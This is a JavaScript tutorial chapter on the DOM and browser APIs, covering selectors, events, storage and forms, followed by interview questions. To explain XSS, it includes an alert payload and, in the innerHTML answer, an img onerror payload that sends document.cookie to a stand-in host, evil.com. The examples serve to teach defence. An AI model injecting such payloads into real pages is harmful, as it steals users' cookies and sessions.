Skip to main content

Documentation Index

Fetch the complete documentation index at: https://resources.devweekends.com/llms.txt

Use this file to discover all available pages before exploring further.

DOM & Browser APIs

The Document Object Model (DOM) is a tree-like representation of your HTML. JavaScript can read, modify, and react to changes in the DOM. This is what makes web pages interactive. Think of the DOM as a living family tree of your HTML document. The <html> tag is the root ancestor, <head> and <body> are its children, and every element nested inside them is another generation in the tree. When you use JavaScript to manipulate the DOM, you are reaching into this tree, grabbing a specific branch (element), and changing it — adding a leaf, removing a branch, or repainting a node. The browser then re-renders the visible page to match the new tree. Understanding this tree structure is the key to understanding everything in this chapter: why some operations are fast and others are slow, why event bubbling works the way it does, and why you need to be careful about when and how often you modify the DOM.

1. Selecting Elements

Modern Methods

// Single element (first match) -- returns null if nothing matches
const header = document.querySelector('h1');
const button = document.querySelector('#submit-btn');
const card = document.querySelector('.card');

// Multiple elements (returns a static NodeList, NOT a live HTMLCollection)
const items = document.querySelectorAll('.item');
const links = document.querySelectorAll('a[href^="https"]');

// Iterate NodeList -- forEach works on NodeList, but map/filter do NOT
items.forEach(item => console.log(item.textContent));

// Convert to array first to use full array methods
const itemsArray = [...items]; // Spread operator converts NodeList to Array
const filtered = itemsArray.filter(item => item.classList.contains('active'));

Legacy Methods (Still Useful)

document.getElementById('myId');           // Single element (fastest selector)
document.getElementsByClassName('myClass'); // HTMLCollection (LIVE -- updates automatically)
document.getElementsByTagName('div');      // HTMLCollection (LIVE)
Best Practice: Use querySelector and querySelectorAll for flexibility — they accept any CSS selector. The one exception: getElementById is marginally faster for ID lookups in performance-critical paths. Also note: getElementsByClassName returns a live collection (it updates when the DOM changes), while querySelectorAll returns a static snapshot. This subtle difference can cause bugs if you modify the DOM while iterating a live collection.

Selector Methods — Complete Comparison

MethodReturnsLive?AcceptsSpeedUse when
getElementById('id')Single element or nullN/AID string (no #)FastestYou have an ID and need peak performance
querySelector('.cls')First match or nullN/AAny CSS selectorFastDefault choice for single elements
querySelectorAll('.cls')Static NodeListNoAny CSS selectorFastDefault choice for multiple elements
getElementsByClassName('cls')Live HTMLCollectionYesClass name (no .)FastRare — when you need a live collection
getElementsByTagName('div')Live HTMLCollectionYesTag nameFastRare — counting/accessing by tag
// Live vs static -- the subtle bug:
const liveList = document.getElementsByClassName('item');
const staticList = document.querySelectorAll('.item');

// Removing items from a live collection while iterating skips elements:
for (let i = 0; i < liveList.length; i++) {
    liveList[i].remove(); // BUG: after removing index 0, index 1 becomes index 0,
                          // so you skip every other element!
}
// Fix: iterate backwards, or use the static querySelectorAll:
staticList.forEach(item => item.remove()); // Safe -- static snapshot

2. Traversing the DOM

Navigate relative to an element. Think of it like navigating a family tree: you can go up to parents, down to children, or sideways to siblings.
const item = document.querySelector('.item');

// Parents -- walking UP the tree
item.parentElement;             // Direct parent (one level up)
item.closest('.container');     // Closest ancestor matching a CSS selector
                                // Searches upward through parents, grandparents, etc.
                                // Returns null if no match (does NOT throw)

// Children -- walking DOWN the tree
item.children;                  // HTMLCollection of direct child elements only
item.firstElementChild;         // First child element (skips text nodes)
item.lastElementChild;          // Last child element

// Siblings -- walking SIDEWAYS
item.nextElementSibling;        // Next sibling element (or null if last)
item.previousElementSibling;    // Previous sibling element (or null if first)
closest() is incredibly useful for event delegation. When a user clicks a deeply nested element (like a <span> inside a <button> inside a <li>), you can use event.target.closest('.list-item') to find the nearest ancestor that matches your selector, regardless of how deep the click landed.

3. Modifying Elements

Text and HTML Content

const heading = document.querySelector('h1');

// textContent: Safe, no HTML parsing. Sets raw text only.
// This is what you should use 99% of the time.
heading.textContent = 'New Heading';

// innerHTML: Parses and renders HTML. Powerful but dangerous.
heading.innerHTML = '<span>New</span> Heading';

// outerHTML: Replaces the element ITSELF (including the tag)
// After this, the original 'heading' reference points to a detached node!
heading.outerHTML = '<h2>Replaced!</h2>';
Security: Never use innerHTML with user-provided input. If a user submits &lt;img src=x onerror="alert('hacked')"&gt;, it will execute as HTML and JavaScript. This is a Cross-Site Scripting (XSS) attack. Use textContent for user content (it escapes HTML automatically), or use a sanitization library like DOMPurify for cases where you must render HTML.

Content Properties — When to Use Which

PropertyParses HTML?XSS risk?Includes hidden elements?PerformanceUse when
textContentNo (raw text)No (safe)Yes (all text, even hidden)FastSetting/reading text safely — the default choice
innerTextNo (raw text)No (safe)No (respects CSS visibility)Slow (triggers reflow)Reading visible text only (accessibility, scraping)
innerHTMLYesYesYesMediumInserting trusted HTML templates
outerHTMLYesYesIncludes the element itselfMediumReplacing an element entirely
insertAdjacentHTMLYesYes (but more controlled)N/AFast (no reparse of existing content)Adding HTML without destroying existing content/listeners
// Edge case: innerHTML destroys all child elements and their event listeners
container.innerHTML += '<div>New</div>';
// BUG: This re-parses ALL existing HTML, destroying event listeners on
// existing children. Use insertAdjacentHTML or append instead:
container.insertAdjacentHTML('beforeend', '<div>New</div>'); // Safe: existing DOM untouched

Attributes

const link = document.querySelector('a');

// Get/Set attributes
link.getAttribute('href');
link.setAttribute('href', 'https://example.com');
link.removeAttribute('target');
link.hasAttribute('rel');

// Direct property access (for standard attributes)
link.href = 'https://example.com';
link.id = 'main-link';

// Data attributes
// <div data-user-id="123" data-role="admin">
const div = document.querySelector('div');
div.dataset.userId;  // '123'
div.dataset.role;    // 'admin'
div.dataset.newProp = 'value'; // Adds data-new-prop="value"

Classes

const element = document.querySelector('.card');

// Modern classList API
element.classList.add('active', 'highlighted');
element.classList.remove('hidden');
element.classList.toggle('collapsed');
element.classList.contains('active');  // true/false
element.classList.replace('old', 'new');

// Multiple operations
element.className = 'card active';  // Overwrites all classes

Styles

const box = document.querySelector('.box');

// Inline styles (not recommended for many changes)
box.style.backgroundColor = 'blue';
box.style.marginTop = '20px';
box.style.cssText = 'color: red; font-size: 16px;';

// Get computed styles
const styles = getComputedStyle(box);
styles.width;  // '200px'

4. Creating & Removing Elements

Creating Elements

// Create element
const div = document.createElement('div');
div.className = 'card';
div.textContent = 'Hello World';

// Create from HTML string
const template = `
    <div class="card">
        <h2>Title</h2>
        <p>Content</p>
    </div>
`;
// Use insertAdjacentHTML (see below)

Inserting Elements

const container = document.querySelector('.container');
const newElement = document.createElement('div');

// Append/Prepend (multiple nodes allowed)
container.append(newElement);           // Add to end
container.prepend(newElement);          // Add to start
container.append('Text', anotherEl);    // Multiple items

// Insert at specific position
container.insertAdjacentElement('beforebegin', newElement); // Before container
container.insertAdjacentElement('afterbegin', newElement);  // First child
container.insertAdjacentElement('beforeend', newElement);   // Last child
container.insertAdjacentElement('afterend', newElement);    // After container

// Insert HTML string
container.insertAdjacentHTML('beforeend', '<div class="new">New</div>');

Removing & Replacing

const element = document.querySelector('.to-remove');

// Remove
element.remove();

// Replace
const newEl = document.createElement('span');
element.replaceWith(newEl);

// Clone
const clone = element.cloneNode(true);  // true = deep clone
container.append(clone);

5. Event Handling

Adding Event Listeners

const button = document.querySelector('button');

// Standard way
button.addEventListener('click', (event) => {
    console.log('Clicked!', event);
});

// With options
button.addEventListener('click', handler, {
    once: true,     // Remove after first trigger
    passive: true,  // Never calls preventDefault (scroll perf)
    capture: true   // Trigger during capture phase
});

// Remove listener
button.removeEventListener('click', handler);

The Event Object

document.addEventListener('click', (event) => {
    event.target;          // Element that triggered the event
    event.currentTarget;   // Element the listener is attached to
    event.type;            // 'click'
    event.timeStamp;       // When it happened
    
    event.preventDefault();  // Stop default behavior (e.g., form submit)
    event.stopPropagation(); // Stop bubbling to parent elements
});

Event Properties — target vs currentTarget

PropertyMeaningChanges during bubbling?Use when
event.targetThe element that triggered the event (deepest)No (always the original element)Event delegation — checking what was clicked
event.currentTargetThe element the listener is attached toYes (changes as event bubbles)Accessing the element you registered the handler on
// Example: click a <span> inside a <button> inside a <div>
// div has the listener, span was clicked
div.addEventListener('click', (e) => {
    e.target;        // <span> -- the actual element clicked
    e.currentTarget; // <div> -- where the listener lives
});

// Event propagation phases:
// 1. CAPTURE: window -> document -> html -> body -> div -> button -> span (top-down)
// 2. TARGET: the event reaches the target element (span)
// 3. BUBBLE: span -> button -> div -> body -> html -> document -> window (bottom-up)
// Most events bubble. Some (focus, blur, mouseenter, mouseleave) do NOT bubble.

// stopPropagation vs stopImmediatePropagation:
// stopPropagation: prevents the event from reaching parent elements
// stopImmediatePropagation: prevents OTHER listeners on the SAME element too

Event Delegation

Instead of adding listeners to many elements, add one to a parent. This works because events “bubble” up the DOM tree — a click on a child element also triggers click handlers on all its ancestors. Think of it like a security camera at the entrance of a building: instead of putting a camera in every room (one listener per element), you put one at the front door (one listener on the parent) and check the badge of whoever walks through (check event.target).
// BAD: Listener on each item. If you have 1000 items, that is 1000 listeners.
// Worse: dynamically added items will NOT have the listener.
document.querySelectorAll('.item').forEach(item => {
    item.addEventListener('click', handleClick);
});

// GOOD: Delegate to parent. One listener handles all items, including future ones.
document.querySelector('.list').addEventListener('click', (event) => {
    // event.target is the actual element that was clicked
    if (event.target.matches('.item')) {
        handleClick(event.target);
    }
    // For nested elements (e.g., a <span> inside .item), use closest():
    const item = event.target.closest('.item');
    if (item) handleClick(item);
});
Why delegation matters in practice: If you build a dynamic list where items are added and removed (a chat app, a todo list, search results), event delegation means you never have to worry about attaching/detaching listeners when the list changes. The parent listener catches everything.

Common Events

// Mouse
element.addEventListener('click', fn);
element.addEventListener('dblclick', fn);
element.addEventListener('mouseenter', fn);  // No bubble
element.addEventListener('mouseleave', fn);  // No bubble
element.addEventListener('mouseover', fn);   // Bubbles

// Keyboard
document.addEventListener('keydown', (e) => {
    console.log(e.key);     // 'Enter', 'a', 'ArrowUp'
    console.log(e.code);    // 'Enter', 'KeyA', 'ArrowUp'
    console.log(e.ctrlKey); // true if Ctrl held
});

// Form
form.addEventListener('submit', (e) => {
    e.preventDefault();
    const data = new FormData(form);
});
input.addEventListener('input', fn);   // Every change
input.addEventListener('change', fn);  // On blur/enter

// Window
window.addEventListener('load', fn);          // All resources loaded
window.addEventListener('DOMContentLoaded', fn); // DOM ready
window.addEventListener('resize', fn);
window.addEventListener('scroll', fn);

6. Browser APIs

Local Storage

Persist data in the browser (survives page refresh and browser restarts).
// Store -- localStorage only accepts strings, so you must serialize objects
localStorage.setItem('user', JSON.stringify({ name: 'Alice' }));

// Retrieve -- always returns a string (or null if key does not exist)
const user = JSON.parse(localStorage.getItem('user'));

// GOTCHA: getItem returns null for missing keys, and JSON.parse(null) returns null
// (it does not throw), so this pattern is safe.

// Remove a single key
localStorage.removeItem('user');

// Clear ALL localStorage for this origin (use with caution!)
localStorage.clear();

// Session storage -- same API, but cleared when the tab closes
sessionStorage.setItem('temp', 'data');
localStorage limitations: It is synchronous (blocks the main thread during read/write), limited to roughly 5MB per origin, and stores only strings. Never use it for sensitive data (it is not encrypted and accessible to any script on the page). For larger or more structured data, consider IndexedDB.

Browser Storage — When to Use Which

StorageCapacityPersistenceScopeAsync?APIUse case
localStorage~5MBPermanent (survives restarts)Per originNo (blocks)Simple key-valueUser preferences, theme, cached tokens
sessionStorage~5MBUntil tab closesPer tab + originNo (blocks)Simple key-valueTemporary form state, wizard progress
Cookies~4KBConfigurable (Expires/Max-Age)Per origin, sent with requestsNoString manipulationAuth tokens, server-readable state
IndexedDB100MB+PermanentPer originYesComplex (cursor-based)Large datasets, offline apps, file caching
Cache APIVariesPermanentPer originYesRequest/Response pairsService worker caching, offline-first apps
// Edge case: localStorage is not available in all contexts
// Private/incognito mode in some browsers throws on setItem.
// Service workers and Web Workers have NO access to localStorage.
function safeSetItem(key, value) {
    try {
        localStorage.setItem(key, value);
    } catch (e) {
        // QuotaExceededError (storage full) or SecurityError (private mode)
        console.warn('localStorage unavailable:', e.message);
    }
}

Fetch API

Make HTTP requests (covered in Async chapter).
const response = await fetch('/api/data', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ key: 'value' })
});
const data = await response.json();

Geolocation

navigator.geolocation.getCurrentPosition(
    (position) => {
        console.log(position.coords.latitude);
        console.log(position.coords.longitude);
    },
    (error) => {
        console.error(error.message);
    }
);

Intersection Observer

Efficiently detect when elements enter/exit the viewport. Before this API existed, developers used scroll event listeners with getBoundingClientRect(), which was expensive and caused jank. The Intersection Observer runs off the main thread and is dramatically more performant.
const observer = new IntersectionObserver((entries) => {
    entries.forEach(entry => {
        if (entry.isIntersecting) {
            // Element is at least 50% visible in the viewport
            entry.target.classList.add('visible');
            observer.unobserve(entry.target); // Stop observing after first trigger
        }
    });
}, {
    threshold: 0.5  // Trigger when 50% of the element is visible
    // Other options: root (scroll container), rootMargin (expand/shrink trigger area)
});

// Observe all elements you want to animate on scroll
document.querySelectorAll('.animate-on-scroll').forEach(el => {
    observer.observe(el);
});
Common uses for Intersection Observer: lazy-loading images (load only when they scroll into view), infinite scroll (load more content when user reaches the bottom), scroll-triggered animations, and analytics tracking (measuring how far users scroll).

Clipboard API

// Copy to clipboard
await navigator.clipboard.writeText('Copied text!');

// Read from clipboard
const text = await navigator.clipboard.readText();

History API

Manipulate browser history for Single Page Applications (SPAs). This is the low-level API that libraries like React Router and Vue Router use under the hood.
// Add a new entry to the browser history stack (without a page reload).
// The URL in the address bar changes, but no HTTP request is made.
history.pushState({ page: 1 }, 'Title', '/new-url');

// Replace the current entry (useful for redirects where you do not want
// the user to hit "back" and land on the intermediate URL)
history.replaceState({ page: 2 }, 'Title', '/updated-url');

// Listen for back/forward navigation.
// IMPORTANT: pushState/replaceState do NOT trigger popstate.
// Only the browser's back/forward buttons (or history.go()) trigger it.
window.addEventListener('popstate', (event) => {
    console.log(event.state); // { page: 1 } -- the state you passed to pushState
    // Re-render your app to match the new URL here
});

7. Forms

FormData

const form = document.querySelector('form');

form.addEventListener('submit', (e) => {
    e.preventDefault();
    
    const formData = new FormData(form);
    
    // Get values
    formData.get('username');
    formData.get('email');
    
    // Convert to object
    const data = Object.fromEntries(formData);
    
    // Send to server
    fetch('/api/submit', {
        method: 'POST',
        body: formData  // Automatically sets Content-Type
    });
});

Validation

const input = document.querySelector('input[name="email"]');

// Built-in validation
input.required = true;
input.pattern = '[a-z]+@[a-z]+\\.[a-z]+';

// Check validity
input.checkValidity();      // true/false
input.validity.valid;       // true/false
input.validity.valueMissing; // true if empty but required
input.validity.patternMismatch; // true if doesn't match pattern

// Custom validation
input.setCustomValidity('Please enter a valid email');
input.setCustomValidity(''); // Clear error

Summary

The DOM is your interface to the web page:
  • Selection: Use querySelector and querySelectorAll.
  • Modification: Change text, attributes, classes, and styles.
  • Creation: createElement, append, insertAdjacentHTML.
  • Events: Use delegation for better performance.
  • Browser APIs: Storage, Geolocation, Intersection Observer, etc.
With these fundamentals, you can build dynamic, interactive web applications!

Course Complete

You now have a solid foundation in:
  1. Fundamentals — Variables, types, and control flow
  2. Functions and Scope — Closures and higher-order functions
  3. Objects and Prototypes — The JavaScript object model
  4. Async JavaScript — Promises and async/await
  5. Modern JavaScript — ES6+ features
  6. DOM and Browser APIs — Building interactive web pages

What’s Next?

  • Practice: Build projects. A todo app, weather app, or portfolio site.
  • Frameworks: Learn React, Vue, or Angular.
  • Backend: Explore Node.js for server-side JavaScript.
  • TypeScript: Add static typing to your JavaScript.

Interview Deep-Dive

Strong Answer:
  • When an event fires on a DOM element, it goes through three phases. Phase 1 (Capturing): the event travels DOWN from window to document to the root element, through each ancestor, down to the target element. Phase 2 (Target): the event reaches the element that was actually interacted with. Phase 3 (Bubbling): the event travels back UP from the target through each ancestor to window. By default, addEventListener registers handlers in the bubbling phase. Passing { capture: true } registers in the capturing phase.
  • Event delegation exploits bubbling: instead of attaching a listener to every <li> in a list, you attach one listener to the <ul>. When any <li> is clicked, the event bubbles up to the <ul>, and you use event.target (or event.target.closest('.item')) to identify which item was clicked.
  • Why delegation is preferred for dynamic lists: (1) Performance — 1 listener instead of N listeners. For a list of 10,000 items, that is 9,999 fewer event handlers consuming memory. (2) Dynamic elements — items added after the listener is attached are automatically covered because the parent listener catches bubbled events from any child. Without delegation, you must manually attach/detach listeners every time the list changes. (3) Cleanup — one listener to remove instead of N.
  • The gotcha: not all events bubble. focus, blur, mouseenter, mouseleave, load, and scroll (on elements) do not bubble. For these, use the capturing phase ({ capture: true }) or use their bubbling counterparts (focusin/focusout instead of focus/blur, mouseover/mouseout instead of mouseenter/mouseleave).
  • Production pattern I rely on: attaching a single delegated click handler at the document.body level with data-action attributes on elements. document.body.addEventListener('click', (e) => { const action = e.target.closest('[data-action]')?.dataset.action; if (action === 'delete') handleDelete(e); }). This is the pattern Stimulus (Rails) and some lightweight frameworks use.
Follow-up: What is event.stopPropagation() vs event.stopImmediatePropagation(), and when would stopping propagation be a mistake?stopPropagation() prevents the event from continuing to parent elements (stops bubbling or capturing), but other listeners on the SAME element still fire. stopImmediatePropagation() stops propagation AND prevents other listeners on the same element from firing. Stopping propagation is often a mistake because it breaks event delegation. If a modal component calls stopPropagation() on clicks, and a parent component uses delegation to detect “click outside to close,” the delegation listener never fires because the event never reaches the parent. This creates invisible coupling between components. The better pattern is usually checking the event target in the parent handler rather than stopping propagation in the child. I have seen a production bug where a third-party analytics library attached a click listener to document for tracking, and a developer called stopPropagation() on button clicks inside a dropdown. All dropdown button clicks became invisible to analytics, and the team did not notice for months.
Strong Answer:
  • textContent sets or gets the raw text content of an element. It does not parse HTML — if you set element.textContent = '<b>bold</b>', the literal string <b>bold</b> is displayed, angle brackets and all. It is safe by design because it treats everything as text.
  • innerHTML sets or gets the HTML content of an element. The browser parses the string as HTML and creates DOM nodes. If you set element.innerHTML = '<b>bold</b>', you get actual bold text. This is powerful but dangerous.
  • The security risk is Cross-Site Scripting (XSS). If any part of the HTML string comes from user input, an attacker can inject executable code. Classic example: element.innerHTML = '<img src=x onerror="document.location=\'https://evil.com/?cookie=\'+document.cookie">'. The browser parses the <img>, fails to load src=x, fires the onerror handler, and the attacker’s JavaScript runs with full access to the page’s cookies, localStorage, and DOM.
  • In practice, the rules are: (1) Never use innerHTML with user-provided data. (2) If you must render user-provided HTML (rich text editors, markdown renderers), use a sanitization library like DOMPurify: element.innerHTML = DOMPurify.sanitize(userInput). (3) For building DOM from data, prefer createElement + textContent, or use a framework (React, Vue) that escapes by default.
  • Modern alternative: element.setHTML(htmlString, { sanitizer: new Sanitizer() }) is the Sanitizer API, an in-progress web standard that provides built-in, browser-native sanitization. As of 2026, it has limited browser support, so DOMPurify remains the production standard.
Follow-up: Does React protect you from XSS? What is dangerouslySetInnerHTML and when is it necessary?React escapes all string values rendered in JSX by default. If you render <div>{userInput}</div> and userInput contains <script>alert('xss')</script>, React converts it to escaped text entities, so it displays as literal text, not executable code. This is one of React’s most important security features. dangerouslySetInnerHTML is the explicit escape hatch: <div dangerouslySetInnerHTML={{__html: sanitizedHTML}} />. It is necessary when you must render actual HTML — for example, rendering content from a CMS that outputs HTML, or displaying syntax-highlighted code. The name is deliberately alarming to signal that you are bypassing React’s XSS protection. Even with dangerouslySetInnerHTML, you should always sanitize with DOMPurify first. The __html key is intentionally awkward to type as an additional deterrent.
Strong Answer:
  • DOM manipulation is expensive because the DOM and JavaScript run in separate engines. In Chrome, JavaScript runs in V8, and the DOM is implemented in Blink (C++). Every DOM call crosses the V8-Blink boundary, which has marshaling overhead. Additionally, writing to the DOM triggers the browser’s rendering pipeline: style recalculation (which CSS rules apply?), layout/reflow (where does everything go?), paint (draw pixels), and compositing (layer the painted results). A single element.style.width = '100px' can trigger layout for the entire page if the element’s size change affects siblings and parents.
  • Layout thrashing is the worst-case scenario: reading a layout property (like offsetHeight), then writing (change a style), then reading again. Each read after a write forces the browser to synchronously recalculate layout to return an accurate value. In a loop doing elements.forEach(el => { el.style.height = el.offsetHeight + 10 + 'px'; }), the browser recalculates layout on every single iteration instead of batching. The fix is “batch reads, then batch writes”: read all heights first into an array, then apply all new heights.
  • Framework strategies: (1) Virtual DOM (React): maintain an in-memory representation of the DOM, diff the old tree against the new tree, and apply the minimal set of real DOM mutations. This turns N potential writes into the minimum necessary writes. (2) Reactive fine-grained updates (Solid.js, Svelte): compile templates to direct DOM update instructions at build time, skipping the virtual DOM diffing entirely. Each reactive value is wired directly to the specific DOM node it affects. (3) Template-based diffing (Vue): a hybrid approach where the compiler analyzes templates to generate optimized patch functions. (4) Document fragments: for vanilla JS, create elements in a DocumentFragment (which is not in the live DOM) and append the fragment once. One reflow instead of N.
  • requestAnimationFrame is the other key tool: it batches your DOM writes to execute just before the browser’s next paint, ensuring you are not fighting the rendering cycle.
Follow-up: What is requestAnimationFrame and why should you use it instead of setTimeout for animations?requestAnimationFrame (rAF) schedules a callback to run just before the browser’s next repaint, typically at 60fps (every ~16.6ms). setTimeout(fn, 16) tries to approximate this but has problems: (1) it is not synchronized with the browser’s paint cycle, so animations can stutter or skip frames. (2) The minimum delay in browsers is clamped to 4ms, and for background tabs, setTimeout is throttled to once per second. (3) setTimeout fires even when the tab is not visible, wasting CPU. rAF automatically pauses when the tab is hidden (saving battery/CPU), synchronizes with the display’s refresh rate (works on 120Hz monitors too), and batches with other rAF callbacks for a single layout/paint cycle. For any visual animation (scroll effects, element transitions, canvas rendering), rAF is the only correct choice. setTimeout/setInterval should be reserved for non-visual timing (polling, delayed operations).
Strong Answer:
  • localStorage: synchronous, ~5MB per origin, persists until explicitly cleared (survives browser restarts), string-only key-value storage. Use for: user preferences (theme, language), non-sensitive cached data, feature flags. Avoid for: sensitive data (accessible to any script on the page, including XSS payloads), large datasets (synchronous reads block the main thread), structured data (no querying capability).
  • sessionStorage: identical API to localStorage, but scoped to the tab/window. Cleared when the tab closes. Each tab gets its own isolated storage. Use for: temporary form state (so a user does not lose progress on page refresh within the same tab), single-session tokens, wizard/multi-step form progress.
  • Cookies: sent with every HTTP request to the matching domain (this is the critical difference). ~4KB limit per cookie. Can be set as HttpOnly (not accessible to JavaScript — protects against XSS), Secure (only sent over HTTPS), SameSite (CSRF protection). Use for: authentication tokens (as HttpOnly cookies — the most secure option), server-side session IDs, any data the server needs on every request.
  • IndexedDB: asynchronous, no practical size limit (browser prompts user after ~50MB), supports structured data (objects, arrays, blobs), has indexes for querying, supports transactions. Use for: offline-first apps (storing thousands of records locally), caching API responses with complex querying needs, storing large files (images, documents) for offline access.
  • Decision framework: Does the server need it on every request? Cookies. Is it a simple key-value preference? localStorage. Is it tab-specific temporary state? sessionStorage. Is it structured, large, or requires querying? IndexedDB.
  • Security note: localStorage and sessionStorage are accessible to any JavaScript running on the page. If your site has an XSS vulnerability, an attacker can read everything in localStorage. This is why authentication tokens should be in HttpOnly cookies (which JavaScript cannot read), not in localStorage.
Follow-up: If localStorage is synchronous, can it block the main thread? What happens with a 5MB read?Yes, localStorage operations are synchronous and block the main thread. Reading a 5MB value (which approaches the storage limit) on a low-powered mobile device can cause a noticeable pause — I have measured 50-100ms blocking times on older Android devices for large reads. The browser must deserialize the data from its on-disk storage into memory synchronously. This is why performance-sensitive applications avoid large localStorage values and prefer IndexedDB for anything substantial. IndexedDB is asynchronous and transaction-based, so it never blocks the main thread. If you must use localStorage for backward compatibility but have large data, consider splitting the data across multiple smaller keys and reading only what you need, or lazily loading the data after initial render.